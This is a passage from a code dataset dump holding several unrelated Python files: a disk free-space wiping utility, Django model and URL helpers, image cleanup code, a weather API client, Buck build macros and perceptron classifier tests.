filename and return the new pathname\"\"\"\n\t(head, _) = os.path.split(pathname1)\n\t# reference http://en.wikipedia.org/wiki/Comparison_of_file_systems#Limits\n\tmaxlen = 226\n\t# first, rename to a long name\n\ti = 0\n\twhile True:\n\t\ttry:\n\t\t\tpathname2 = os.path.join(head, __random_string(maxlen))\n\t\t\tos.rename(pathname1, pathname2)\n\t\t\tbreak\n\t\texcept OSError:\n\t\t\tif maxlen > 10:\n\t\t\t\tmaxlen -= 10\n\t\t\ti += 1\n\t\t\tif i > 100:\n\t\t\t\tprint('exhausted long rename: %s', pathname1)\n\t\t\t\tpathname2 = pathname1\n\t\t\t\tbreak\n\t# finally, rename to a short name\n\ti = 0\n\twhile True:\n\t\ttry:\n\t\t\tpathname3 = os.path.join(head, __random_string(i + 1))\n\t\t\tos.rename(pathname2, pathname3)\n\t\t\tbreak\n\t\texcept:\n\t\t\ti += 1\n\t\t\tif i > 100:\n\t\t\t\tprint('exhausted short rename: %s', pathname2)\n\t\t\t\tpathname3 = pathname2\n\t\t\t\tbreak\n\treturn pathname3\n\n\ndef wipe_path(pathname, idle=False):\n\t\"\"\"Wipe the free space in the path\n\tThis function uses an iterator to update the GUI.\"\"\"\n\n\tdef temporaryfile():\n\t\t# reference\n\t\t# http://en.wikipedia.org/wiki/Comparison_of_file_systems#Limits\n\t\tmaxlen = 245\n\t\tf = None\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\tf = tempfile.NamedTemporaryFile(\n\t\t\t\t\tdir=pathname, suffix=__random_string(maxlen), delete=False)\n\t\t\t\t# In case the application closes prematurely, make sure this\n\t\t\t\t# file is deleted\n\t\t\t\tatexit.register(\n\t\t\t\t\tdelete, f.name, allow_shred=False, ignore_missing=True)\n\t\t\t\tbreak\n\t\t\texcept OSError as e:\n\t\t\t\tif e.errno in (errno.ENAMETOOLONG, errno.ENOSPC, errno.ENOENT):\n\t\t\t\t\t# ext3 on Linux 3.5 returns ENOSPC if the full path is greater than 264.\n\t\t\t\t\t# Shrinking the size helps.\n\n\t\t\t\t\t# Microsoft Windows returns ENOENT \"No such file or directory\"\n\t\t\t\t\t# when the path is too long such as %TEMP% but not in C:\\\n\t\t\t\t\tif maxlen > 5:\n\t\t\t\t\t\tmaxlen -= 5\n\t\t\t\t\t\tcontinue\n\t\t\t\traise\n\t\treturn f\n\n\tdef estimate_completion():\n\t\t\"\"\"Return (percent, seconds) to complete\"\"\"\n\t\tremaining_bytes = free_space(pathname)\n\t\tdone_bytes = start_free_bytes - remaining_bytes\n\t\tif done_bytes < 0:\n\t\t\t# maybe user deleted large file after starting wipe\n\t\t\tdone_bytes = 0\n\t\tif 0 == start_free_bytes:\n\t\t\tdone_percent = 0\n\t\telse:\n\t\t\tdone_percent = 1.0 * done_bytes / (start_free_bytes + 1)\n\t\tdone_time = time.time() - start_time\n\t\trate = done_bytes / (done_time + 0.0001) # bytes per second\n\t\tremaining_seconds = int(remaining_bytes / (rate + 0.0001))\n\t\treturn 1, done_percent, remaining_seconds\n\n\tprint(\"wipe_path('%s')\", pathname)\n\tfiles = []\n\ttotal_bytes = 0\n\tstart_free_bytes = free_space(pathname)\n\tstart_time = time.time()\n\t# Because FAT32 has a maximum file size of 4,294,967,295 bytes,\n\t# this loop is sometimes necessary to create multiple files.\n\twhile True:\n\t\ttry:\n\t\t\tprint('creating new, temporary file to wipe path')\n\t\t\tf = temporaryfile()\n\t\texcept OSError as e:\n\t\t\t# Linux gives errno 24\n\t\t\t# Windows gives errno 28 No space left on device\n\t\t\tif e.errno in (errno.EMFILE, errno.ENOSPC):\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\traise\n\t\tlast_idle = time.time()\n\t\t# Write large blocks to quickly fill the disk.\n\t\tblanks = chr(0) * 65535\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\tf.write(blanks)\n\t\t\texcept IOError as e:\n\t\t\t\tif e.errno == errno.ENOSPC:\n\t\t\t\t\tif len(blanks) > 1:\n\t\t\t\t\t\t# Try writing smaller blocks\n\t\t\t\t\t\tblanks = blanks[0: (len(blanks) / 2)]\n\t\t\t\t\telse:\n\t\t\t\t\t\tbreak\n\t\t\t\telif e.errno != errno.EFBIG:\n\t\t\t\t\traise\n\t\t\tif idle and (time.time() - last_idle) > 2:\n\t\t\t\t# Keep the GUI responding, and allow the user to abort.\n\t\t\t\t# Also display the ETA.\n\t\t\t\tyield estimate_completion()\n\t\t\t\tlast_idle = time.time()\n\t\t# Write to OS buffer\n\t\ttry:\n\t\t\tf.flush()\n\t\texcept:\n\t\t\t# IOError: [Errno 28] No space left on device\n\t\t\t# seen on Microsoft Windows XP SP3 with ~30GB free space but\n\t\t\t# not on another XP SP3 with 64MB free space\n\t\t\tprint(\"info: exception on f.flush()\")\n\t\tos.fsync(f.fileno()) # write to disk\n\t\t# Remember to delete\n\t\tfiles.append(f)\n\t\t# For statistics\n\t\ttotal_bytes += f.tell()\n\t\t# If no bytes were written, then quit\n\t\tif f.tell() < 1:\n\t\t\tbreak\n\t# sync to disk\n\tsync()\n\t# statistics\n\telapsed_sec = time.time() - start_time\n\trate_mbs = (total_bytes / (1000 * 1000)) / elapsed_sec\n\tprint('wrote %d files and %d bytes in %d seconds at %.2f MB/s',\n\t\t\t\tlen(files), total_bytes, elapsed_sec, rate_mbs)\n\t# how much free space is left (should be near zero)\n\tif 'posix' == os.name:\n\t\tstats = os.statvfs(pathname)\n\t\tprint('%d bytes and %d inodes available to non-super-user',\n\t\t\t\t\tstats.f_bsize * stats.f_bavail, stats.f_favail)\n\t\tprint('%d bytes and %d inodes available to super-user',\n\t\t\t\t\tstats.f_bsize * stats.f_bfree, stats.f_ffree)\n\t# truncate and close files\n\tfor f in files:\n\t\ttruncate_f(f)\n\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\t# Nikita: I noticed a bug that prevented file handles from\n\t\t\t\t# being closed on FAT32. It sometimes takes two .close() calls\n\t\t\t\t# to do actually close (and therefore delete) a temporary file\n\t\t\t\tf.close()\n\t\t\t\tbreak\n\t\t\texcept IOError as e:\n\t\t\t\tif e.errno == 0:\n\t\t\t\t\tprint('handled unknown error 0')\n\t\t\t\t\ttime.sleep(0.1)\n\t\t# explicitly delete\n\t\tdelete(f.name, ignore_missing=True)\n\ndef md5(filename, block_size = 65536):\n\thash_md5 = hashlib.md5()\n\ttry:\n\t\twith open(filename, \"rb\") as f:\n\t\t\tfor chunk in iter(lambda: f.read(65536), b\"\"):\n\t\t\t\thash_md5.update(chunk)\n\texcept:\n\t\t# file is deleted while we are reading it.\n\t\treturn ''\n\treturn hash_md5.hexdigest()\n\ndef sha1(filename, block_size = 65536):\n\thash_sha1 = hashlib.sha1()\n\ttry:\n\t\twith open(filename, \"rb\") as f:\n\t\t\tfor chunk in iter(lambda: f.read(65536), b\"\"):\n\t\t\t\thash_sha1.update(chunk)\n\texcept:\n\t\t# file is deleted while we are reading it.\n\t\treturn ''\n\treturn hash_sha1.hexdigest()\n\ndef sha256_checksum(filename, block_size = 65536):\n\tsha256 = hashlib.sha256()\n\ttry:\n\t\twith open(filename, 'rb') as f:\n\t\t\tfor block in iter(lambda: f.read(block_size), b''):\n\t\t\t\tsha256.update(block)\n\texcept:\n\t\t# file is deleted while we are reading it.\n\t\treturn ''\n\treturn sha256.hexdigest()\n\ndef find_mount_point(path):\n\tpath = os.path.abspath(path)\n\torig_dev = os.stat(path).st_dev\n\n\twhile path != '/':\n\t\ttmpdir = os.path.dirname(path)\n\n\t\tif os.stat(tmpdir).st_dev != orig_dev:\n\t\t\t# we crossed the device border\n\t\t\tbreak\n\t\tpath = tmpdir\n\n\treturn path\n","sub_path":"utils/file_op.py","file_name":"file_op.py","file_ext":"py","file_size_in_byte":17162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"152957809","text":"# -*- coding: utf-8 -*-\n__author__ = 'kokamoonga'\n\nimport os\nfrom django.db import models\nfrom django.contrib import admin\nimport yaml\nfrom django.conf import settings\nimport random\nimport string\n\ntypes = {\n 'char': {'inst': models.CharField, 'defaults': {'max_length': 255, 'blank': False}, },\n 'int': {'inst': models.IntegerField, 'defaults': {'blank': False}, },\n 'date': {'inst': models.DateField, 'defaults': {'blank': False}, },\n}\n\ndef random_string(len):\n return ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits)\n for x in range(len))\n\n\ndef create_model(name, fields=None, app_label='', module='', options=None, admin_opts=None):\n \"\"\"\n Create specified model\n\n Это функция из документации Django. Так уж случилось, что подобным вопросом я уже задавался.\n \"\"\"\n\n class Meta:\n # Using type('Meta', ...) gives a dictproxy error during model creation\n pass\n\n if app_label:\n # app_label must be set using the Meta inner class\n setattr(Meta, 'app_label', app_label)\n\n # Update Meta with any options that were provided\n if options is not None:\n for key, value in options.iteritems():\n setattr(Meta, key, value)\n\n # Set up a dictionary to simulate declarations within a class\n attrs = {'__module__': module, 'Meta': Meta}\n\n # Add in any fields that were provided\n if fields:\n attrs.update(fields)\n\n # Create the class, which automatically triggers ModelBase processing\n model = type(name, (models.Model,), attrs)\n\n # Create an Admin class if admin options were provided\n if admin_opts is not None:\n class Admin(admin.ModelAdmin):\n pass\n\n for key, value in admin_opts:\n setattr(Admin, key, value)\n admin.site.register(model, Admin)\n\n return model\n\n\ndef parse_config(app_label):\n\n f = open(os.path.join(settings.BASE_DIR, app_label, 'config.yaml'), mode='r')\n config = yaml.load(f)\n f.close()\n\n return config\n\n","sub_path":"st_project/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"629012607","text":"# Utility file to cleanup background and clipping image\n# function:\n# image_cleanup(data, threshold): \n# return data\n#\n# input:\n# data = PIL Image object\n# threshold = White color threshold. Use value between 0 ~ 100,\n# where 0 mean it will not cleanup anything (i.e. 0%, it will only cleanup pure white color)\n# and 100 mean it will cleanup the entire image.\n#\n# output:\n# data = Image with background cleaned up\n#\n# function:\n# image_clip(data): \n# return datas\n#\n# input:\n# data = PIL Image object\n#\n# output:\n# datas = Array of clipped image\n\nimport math\nimport itertools\nimport numpy as np\nfrom PIL import Image\nfrom collections import deque\n\n\ndef coord2arr(data, coord):\n (width, height) = data.size\n return coord[1] * width + coord[0]\n\ndef image_cleanup(data, threshold):\n raw = list(data.getdata())\n (width, height) = data.size\n threshold /= 100.\n\n direction = [(0, 1), (1, 0), (-1, 0), (0, -1)]\n\n # assume the most topleft, topright, bottomleft, bottomright side of image are white\n queue = deque([(0, 0), (width - 1, 0), (0, height - 1), (width - 1, height - 1)])\n visited = np.zeros(shape=(width, height), dtype=int)\n\n while len(queue) > 0:\n x, y = queue.popleft()\n\n i = coord2arr(data, (x, y))\n if visited[x][y] == 1:\n continue\n\n visited[x][y] = 1\n if (255 * 3 - raw[i][0] - raw[i][1] - raw[i][2]) / 255. > threshold:\n continue\n\n raw[i] = (255, 255, 255)\n\n for dx, dy in direction:\n nx = x + dx\n ny = y + dy\n if nx < 0 or ny < 0 or nx >= width or ny >= height or visited[nx][ny]:\n continue\n\n queue.append((nx, ny))\n\n datanew = Image.new('RGB', (width, height))\n datanew.putdata(raw)\n\n return datanew\n\nclip_threshold = 0.1\n\ndef clip(raw, width, height, visited, x, y):\n diff = ([1, 0], [1, 1], [0, 1], [-1, 1], [-1, 0], [-1, -1], [0, -1], [1, -1])\n xmax = x\n xmin = x\n ymax = y\n ymin = y\n\n queue = deque([(x, y)])\n stack = deque()\n\n while len(queue) > 0:\n curx, cury = queue.popleft()\n\n if visited[curx][cury] == 1:\n continue\n\n stack.append((curx, cury))\n visited[curx][cury] = 1\n\n for i in range(8):\n tempx = curx + diff[i][0]\n tempy = cury + diff[i][1]\n if tempx >= width or tempx < 0 or tempy >= height or tempy < 0:\n continue\n\n if visited[tempx][tempy] == 1:\n continue\n\n queue.append((tempx, tempy))\n if tempy > ymax:\n ymax = tempy\n if tempy < ymin:\n ymin = tempy\n if tempx > xmax:\n xmax = tempx\n if tempx < xmin:\n xmin = tempx\n\n newraw = np.zeros(shape=(ymax - ymin + 1, xmax - xmin + 1), dtype=tuple)\n newraw.fill((255, 255, 255))\n while len(stack) > 0:\n curx, cury = stack.popleft()\n r, g, b = raw[cury][curx]\n newraw[cury - ymin][curx - xmin] = (r, g, b)\n\n newdata = Image.new('RGB', (newraw.shape[1], newraw.shape[0]))\n newdata.putdata(newraw.flatten().tolist())\n\n return newdata\n\ndef image_clip(data):\n raw = np.array(data, dtype=int)\n width = data.size[0]\n height = data.size[1]\n\n visited = np.zeros(shape=(width, height), dtype=int)\n\n diff = ([1, 0], [1, 1], [0, 1], [-1, 1], [-1, 0], [-1, -1], [0, -1], [1, -1])\n queue = deque([(0, 0), (width - 1, 0), (0, height - 1), (width - 1, height - 1)])\n while len(queue) > 0:\n curx, cury = queue.popleft()\n\n if visited[curx][cury] == 1:\n continue\n\n visited[curx][cury] = 1\n\n for i in range(8):\n tempx = curx + diff[i][0]\n tempy = cury + diff[i][1]\n if tempx >= width or tempx < 0 or tempy >= height or tempy < 0:\n continue\n\n if visited[tempx][tempy] == 1:\n continue\n\n r, g, b = raw[tempy][tempx]\n if r + g + b < 255 * 3 - 255. * clip_threshold:\n continue\n\n queue.append((tempx, tempy))\n\n datas = []\n for y, x in itertools.product(range(height), range(width)):\n if visited[x][y] == 1:\n continue\n\n datas.append(clip(raw, width, height, visited, x, y))\n\n return datas","sub_path":"futil.py","file_name":"futil.py","file_ext":"py","file_size_in_byte":4455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"383102188","text":"import datetime\n\nfrom collections import Counter\nfrom typing import Tuple, List, Dict\n\nfrom bogoslovskiy.model import ConfigWorker\n\nfrom src.notifications.MessagesEnum import MessagesEnum\nfrom src.notifications.handlers.api_handlers.ApiHandler import ApiHandler\n\n\nclass OpenWeatherMapApiHandler(ApiHandler):\n\n\tdef __init__(self, config: ConfigWorker):\n\t\tsuper(OpenWeatherMapApiHandler, self).__init__(config)\n\n\t\tself.city_id: str = self.config_worker.get_key_from_section_of_config(\"weather\", \"city_id\")\n\t\tself.api_key: str = self.config_worker.get_key_from_section_of_config(\"weather\", \"api_key\")\n\n\tdef get_current_weather(self) -> str:\n\t\t\"\"\"\n\t\tGET request to MailFire API\n\t\t:return dict: request answer\n\t\t\"\"\"\n\n\t\turl = \"https://api.openweathermap.org/data/2.5/weather?id={id}&APPID={APIKEY}&units=metric\".format(\n\t\t\tid=self.city_id,\n\t\t\tAPIKEY=self.api_key\n\t\t)\n\n\t\tinfo = self._get_request(url)\n\n\t\tmessage = \"Current Weather Description: {descr}\\nTemperature from {minim}C to {maxim}C\\n\\n\".format(\n\t\t\tdescr=info[\"weather\"][0][\"main\"],\n\t\t\tminim=info[\"main\"][\"temp_min\"],\n\t\t\tmaxim=info[\"main\"][\"temp_max\"])\n\n\t\treturn message\n\n\tdef get_weather_forecast(self) -> str:\n\n\t\turl = \"https://api.openweathermap.org/data/2.5/forecast?id={id}&APPID={APIKEY}&units=metric\".format(\n\t\t\tid=self.city_id,\n\t\t\tAPIKEY=self.api_key\n\t\t)\n\n\t\tinfo = self._get_request(url)\n\n\t\tdays: dict = {}\n\n\t\t# getting a dictionary, where json are grouped by a date of a forecast\n\n\t\tfor i in info[\"list\"]:\n\n\t\t\tforecast_date_in_unix_tmstmp = int(i[\"dt\"])\n\n\t\t\tforecast_date = datetime.datetime.fromtimestamp(forecast_date_in_unix_tmstmp).date()\n\n\t\t\ttry:\n\t\t\t\tdays[forecast_date].append(i)\n\t\t\texcept KeyError:\n\t\t\t\tdays[forecast_date] = [i]\n\n\t\tforecast_dict: Dict[str, Dict[str, float]] = {}\n\n\t\t# if it is afternoon, than we do now need a forecast for today\n\t\tthreshold = datetime.datetime(\n\t\t\tdatetime.datetime.now().year,\n\t\t\tdatetime.datetime.now().month,\n\t\t\tdatetime.datetime.now().day,\n\t\t\t12\n\t\t)\n\n\t\t# getting a dictionary, where aggregated forecast is grouped by a date\n\t\tfor key, value_list in days.items():\n\n\t\t\tif datetime.datetime.now() > threshold and key == datetime.datetime.now().date():\n\t\t\t\tcontinue\n\n\t\t\ttemperatures: List[float] = []\n\t\t\tdescriptions: List[str] = []\n\n\t\t\tfor i in value_list:\n\t\t\t\ttemperatures.append(i[\"main\"][\"temp\"])\n\t\t\t\tdescriptions.append(i[\"weather\"][0][\"main\"])\n\n\t\t\tstring_key = str(key)\n\n\t\t\tforecast_dict[string_key] = {\n\t\t\t\t\"min\": round(min(temperatures), 2),\n\t\t\t\t\"max\": round(max(temperatures), 2),\n\t\t\t\t\"avg\": round(sum(temperatures) / float(len(temperatures)), 2),\n\t\t\t\t\"description\": Counter(descriptions)\n\t\t\t}\n\n\t\tmessage: str = \"\"\n\n\t\tfor date, info in forecast_dict.items():\n\n\t\t\tm = \"{}\\n\\tAverage temperature: {}\\n\\tMin temperature: {}\\n\\tMax temperature: {}\\n\\tDescriptions: {}\\n\\n\"\n\n\t\t\tm = m.format(date, info[\"avg\"], info[\"min\"], info[\"max\"], info[\"description\"])\n\n\t\t\tmessage += m\n\n\t\treturn message\n\n\tdef get_info(self) -> Tuple[str, MessagesEnum]:\n\n\t\tcurr_weather = self.get_current_weather()\n\t\tforecast = self.get_weather_forecast()\n\n\t\tmessage = curr_weather + forecast\n\n\t\treturn message, MessagesEnum.TEXT\n","sub_path":"src/notifications/handlers/api_handlers/Implementation/OpenWeatherMapApiHandler.py","file_name":"OpenWeatherMapApiHandler.py","file_ext":"py","file_size_in_byte":3107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"114278578","text":"#!/usr/bin/env python2\n\n# Copyright 2016-present, Facebook, Inc.\n# All rights reserved.\n#\n# This source code is licensed under the BSD-style license found in the\n# LICENSE file in the root directory of this source tree. An additional grant\n# of patent rights can be found in the PATENTS file in the same directory.\n\n# Since this is used as a Buck build def file, we can't normal linting\n# as we'll get complaints about magic definitions like `get_base_path()`.\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport collections\nimport functools\nimport itertools\nimport pipes\n\nwith allow_unsafe_import():\n import warnings\n warnings.simplefilter(\"ignore\", ImportWarning)\n warnings.simplefilter(\"ignore\", DeprecationWarning)\n warnings.simplefilter(\"ignore\", PendingDeprecationWarning)\n import os\n import pkgutil\n import sys\n import textwrap\n\n\ndef find_cell_root(start_path):\n # Keep going up until we find a .buckconfig file\n path = os.path.split(start_path)[0]\n path_terminal = os.path.splitdrive(path)[0] or '/'\n\n add_build_file_dep('//.buckconfig')\n while path != path_terminal:\n if os.path.exists(os.path.join(path, '.buckconfig')):\n return path\n path = os.path.split(path)[0]\n raise Exception(\n \"Could not find .buckconfig in a directory above {}\".format(start_path))\n\n\nmacros_py_dir = os.path.dirname(__file__)\nCELL_ROOT = find_cell_root(macros_py_dir)\nMACRO_LIB_DIR = os.path.join(macros_py_dir, 'macro_lib')\n\n# We're allowed to do absolute paths in add_build_file_dep and include_defs\n# so we do. This helps with problems that arise from relative paths when you\n# have sibling cells. e.g. below, before, macros// would determine that the\n# root was at /, even if we were including the macros defs from cell1//\n# Example layout that this helps with:\n# /.buckconfig\n# includes = macros//macros.py\n# /cell1/.buckconfig\n# includes = macros//macros.py\n# /macros/.buckconfig\n# /macros/macros.py\nload('@fbcode_macros//build_defs:build_mode.bzl', 'build_mode')\nload('@fbcode_macros//build_defs:config.bzl', 'config')\nload('@fbcode_macros//build_defs:cpp_common.bzl', 'cpp_common')\nload('@fbcode_macros//build_defs:coverage.bzl', 'coverage')\nload('@fbcode_macros//build_defs:platform_utils.bzl', 'platform_utils')\nload('@fbcode_macros//build_defs:visibility.bzl', 'get_visibility_for_base_path')\nload(\"@fbcode_macros//build_defs:auto_headers.bzl\", \"AutoHeaders\", \"get_auto_headers\")\ninclude_defs('//{}/converter.py'.format(MACRO_LIB_DIR), 'converter')\ninclude_defs('//{}/constants.py'.format(MACRO_LIB_DIR), 'constants')\ninclude_defs('//{}/cxx_sources.py'.format(MACRO_LIB_DIR), 'cxx_sources')\ninclude_defs('//{}/rule.py'.format(MACRO_LIB_DIR), 'rule_mod')\ninclude_defs('//{}/convert/base.py'.format(MACRO_LIB_DIR), 'base')\ninclude_defs('//{}/convert/cpp.py'.format(MACRO_LIB_DIR), 'cpp')\n\n__all__ = []\n\ndef get_oss_third_party_config():\n interpreter = read_config('python#py3', 'interpreter', 'python3')\n if interpreter.endswith('python3'):\n with allow_unsafe_import():\n import subprocess\n print(\n 'No explicit interpreter was provided, so python3 version '\n 'detection is falling back to running the \"python3\" command. '\n 'Update python#py3.interpreter in your .buckconfig in order to '\n 'not have to run this command each time, and avoid potential '\n 'problems with buck overcaching', file=sys.stderr)\n try:\n py3_version = subprocess.check_output([interpreter, '--version'])\n py3_version = py3_version.encode('utf-8').split()[1]\n except subprocess.CalledProcessError:\n print(\n '{} --version failed. python3 version could '\n 'not be determined'.format(interpreter), file=sys.stderr)\n raise\n else:\n py3_version = interpreter.rpartition('python')[-1]\n py3_version = '.'.join(py3_version.split('.')[0:2])\n\n default_platform = read_config('cxx', 'default_platform', 'default')\n default_arch = read_config('buckit', 'architecture', 'x86_64')\n gcc_version = read_config('buckit', 'gcc_version', '4.9')\n return {\n 'platforms': {\n default_platform: {\n 'architecture': default_arch,\n 'build': {\n 'auxiliary_versions': {},\n 'projects': {\n 'python': [('2.7', '2.7'), (py3_version, py3_version)],\n },\n },\n 'tools': {\n 'projects': {\n 'gcc': gcc_version,\n },\n },\n },\n },\n 'version_universes': [\n {\n 'python': '2.7',\n },\n {\n 'python': py3_version,\n },\n ],\n }\n\n\nif config.get_third_party_config_path():\n # Load the third-party config.\n config_path = os.path.join(CELL_ROOT, config.get_third_party_config_path())\n add_build_file_dep('//' + config.get_third_party_config_path())\n with open(config_path) as f:\n code = compile(f.read(), config_path, 'exec')\n vals = {}\n eval(code, vals)\n third_party_config = vals['config']\nelse:\n # If we're not given a file with a third-party config (like on dev servers)\n # don't try to load the third-party-config\n third_party_config = get_oss_third_party_config()\n\n\nCXX_RULES = set([\n 'cpp_benchmark',\n 'cpp_binary',\n 'cpp_java_extension',\n 'cpp_library',\n 'cpp_lua_extension',\n 'cpp_python_extension',\n 'cpp_unittest',\n])\n\ndef rule_handler(context, globals, rule_type, **kwargs):\n \"\"\"\n Callback that fires when a TARGETS rule is evaluated, converting it into\n one or more Buck rules.\n \"\"\"\n\n # Wrap the TARGETS rule into a `Rule` object.\n rule = rule_mod.Rule(type=rule_type, attributes=kwargs)\n\n # For full auto-headers support, add in the recursive header glob rule\n # as a dep. This is only used in fbcode for targets that don't fully\n # specify their dependencies, and it will be going away in the future\n if (config.get_add_auto_headers_glob() and\n rule.type in CXX_RULES and\n AutoHeaders.RECURSIVE_GLOB == get_auto_headers(\n rule.attributes.get('auto_headers'))):\n deps = list(rule.attributes.get('deps', []))\n deps.append(cpp_common.default_headers_library())\n rule.attributes['deps'] = deps\n\n # Convert the fbconfig/fbmake rule into one or more Buck rules.\n base_path = get_base_path()\n context['buck_ops'] = (\n base.BuckOperations(\n add_build_file_dep,\n glob,\n include_defs,\n read_config))\n context['build_mode'] = build_mode.get_build_modes_for_base_path(base_path).get(context['mode'])\n context['third_party_config'] = third_party_config\n context['config'] = config\n\n # Set default visibility\n rule.attributes['visibility'] = get_visibility_for_base_path(\n rule.attributes.get('visibility'),\n rule.attributes.get('name'),\n base_path)\n\n results = converter.convert(base.Context(**context), base_path, rule)\n # Instantiate the Buck rules that got converted successfully.\n for converted in results:\n eval(\"native.\" + converted.type, globals)(**converted.attributes)\n\n\n# Helper rule to throw an error when accessing raw Buck rules.\ndef invalid_buck_rule(rule_type, *args, **kwargs):\n raise ValueError(\n '{rule}(): unsupported access to raw Buck rules! '\n 'Please use supported fbcode rules (https://fburl.com/fbcode-targets) '\n 'instead.'\n .format(rule=rule_type))\n\n\n# Helper rule to ignore a Buck rule if requested by buck config.\ndef ignored_buck_rule(rule_type, *args, **kwargs):\n pass\n\n\ndef _install_converted_rules(globals, **context_kwargs):\n old_globals = globals.copy()\n\n # Prevent direct access to raw BUCK UI, as it doesn't go through our\n # wrappers.\n for rule_type in constants.BUCK_RULES:\n globals[rule_type] = functools.partial(invalid_buck_rule, rule_type)\n\n all_rule_types = constants.FBCODE_RULES + \\\n ['buck_' + r for r in constants.BUCK_RULES]\n for rule_type in all_rule_types:\n globals[rule_type] = functools.partial(\n rule_handler, context_kwargs, old_globals, rule_type)\n\n # If fbcode.enabled_rule_types is specified, then all rule types that aren't\n # whitelisted should be redirected to a handler that's a no-op. For example,\n # only a small set of rules are supported for folks building on laptop.\n enabled_rule_types = read_config('fbcode', 'enabled_rule_types', None)\n if enabled_rule_types is not None:\n enabled_rule_types = (r.strip() for r in enabled_rule_types.split(','))\n for rule_type in set(all_rule_types) - set(enabled_rule_types):\n globals[rule_type] = functools.partial(ignored_buck_rule, rule_type)\n\n\n__all__.append('install_converted_rules')\ndef install_converted_rules(globals, **context_kwargs):\n context_kwargs = {\n 'default_compiler': config.get_default_compiler_family(),\n 'global_compiler': config.get_global_compiler_family(),\n 'coverage': coverage.get_coverage(),\n 'link_style': config.get_default_link_style(),\n 'mode': config.get_build_mode(),\n 'lto_type': config.get_lto_type(),\n }\n _install_converted_rules(globals, **context_kwargs)\n","sub_path":"infra_macros/macros.py","file_name":"macros.py","file_ext":"py","file_size_in_byte":9524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"452447792","text":"\nimport Perceptron as p\nimport pandas as pd\nimport numpy as np\nimport PrecisionRecall as pc\n\n\n\n############### Iris Data (2 args) ############ 150 x 2\n\ndf = pd.read_csv('iris.data.txt', header=None)\n\ndf=df.iloc[np.random.permutation(len(df))] #shuffled the examples\n\nytrain=df.iloc[0:70, 4].values\nytest=df.iloc[70:150, 4].values\nytrain=np.where(ytrain == 'Iris-setosa',-1,1)\nytest=np.where(ytest == 'Iris-setosa',-1,1)\n\nX = df.iloc[0:150, [0, 2]].values\n\n\nxtrain=df.iloc[0:70, [0, 2]].values\nxtest=df.iloc[70:150, [0, 2]].values\n\npp=p.Perceptron()\npp.train(xtrain,ytrain)\ndistArray, confusionMatrix = pp.test(xtest,ytest)\npp.print2attrsGraph(xtest, ytest)\n\n\n\n\n\n#################### Visual Segmentation ############# 210 x 20 (train) and 2100 x 20 (test)\n\n\ndftrain = pd.read_csv('segmentation.data.txt', header=None)\ndftest = pd.read_csv('segmentation.test.txt', header=None)\n\n\nytrain=dftrain.iloc[:, 0].values\nytest=dftest.iloc[:, 0].values\nytrain=np.where(ytrain=='SKY',1,-1)\nytest=np.where(ytest=='SKY',1,-1)\n\n#BRICKFACE, SKY, PATH and GRASS are saparable. CEMENT, FOLIAGE and WINDOW are not separable\n\nxtrain=dftrain.iloc[:, 1:19].values\nxtest=dftest.iloc[:, 1:19].values\n\n\npp=p.Perceptron()\npp.train(xtrain, ytrain)\n\ndistArray, confusionMatrix =pp.test(xtest, ytest)\n\npc.precisionRecall(distArray,confusionMatrix, \"Image Segmentation\")\n\n\n\n#################### CNAE (National Classification of Economic Activities) ############# 1080 x 857\n\ndf = pd.read_csv('CNAE-9.data.txt', header=None)\n\n\nytrain=df.iloc[0:700, 0].values\nytest=df.iloc[700:1079, 0].values\nytrain=np.where(ytrain==7,1,-1)\nytest=np.where(ytest==7,1,-1)\n\nxtrain=df.iloc[0:700, 2:856].values\nxtest=df.iloc[700:1079, 2:856].values\n\n# all classes chosen as positive are linearly separable from the others\n\npp=p.Perceptron()\npp.train(xtrain, ytrain)\n\ndistArray, confusionMatrix =pp.test(xtest, ytest)\npc.precisionRecall(distArray, confusionMatrix, \"CNAE\")\n\n\n\n#################### Activity Recognition ############# 103500 x 5\n\ndf = pd.read_csv('15.csv', header=None)\n\nytrain=df.iloc[0:3000, 4].values\nytest=df.iloc[3000:103499, 4].values\nytrain=np.where(ytrain==1,1,-1)\nytest=np.where(ytest==1,1,-1)\n\nxtrain=df.iloc[0:3000, 0:3].values\nxtest=df.iloc[3000:103499, 0:3].values\n\n#only class 1 is separable\n\npp=p.Perceptron()\npp.train(xtrain, ytrain)\n\ndistArray, confusionMatrix =pp.test(xtest, ytest)\npc.precisionRecall(distArray, confusionMatrix, \"Activity Recognition\")\n","sub_path":"Tests.py","file_name":"Tests.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"485252002","text":"from user import views\nfrom django.urls import path, include\nfrom rest_framework_simplejwt import views as jwt_views\nfrom allauth.account.views import confirm_email\nfrom django.conf.urls import url\nfrom django.contrib import admin\n\nurlpatterns = [\n # User\n path('admin/', admin.site.urls),\n path('login/', jwt_views.TokenObtainPairView.as_view(), name='token_obtain_pair'),\n path('register/', views.UserRegisterView.as_view()),\n path('user/', views.UserGetAllView.as_view()),\n path('user/', views.UserGetView.as_view()),\n path('update/user/', views.UserUpdateView.as_view()),\n path('delete/user/', views.UserDeleteView.as_view()),\n # User status\n path('add/user/status/', views.StatusAddView.as_view()),\n path('user/status/', views.StatusGetByUserView.as_view()),\n # Employee rating\n path('add/user/rating/', views.EmployeeRatingAddView.as_view()),\n path('user/rating/', views.EmployeeRatingGetByEmployeeView.as_view()),\n # WorkList\n path('add/worklist/', views.WorkListAddView.as_view()),\n path('user/worklist/', views.WorkListGetView.as_view()),\n # Profile\n path('add/profile/', views.ProfileAddView.as_view()),\n path('profile/', views.ProfileGetAllView.as_view()),\n path('profile/', views.ProfileGetView.as_view()),\n 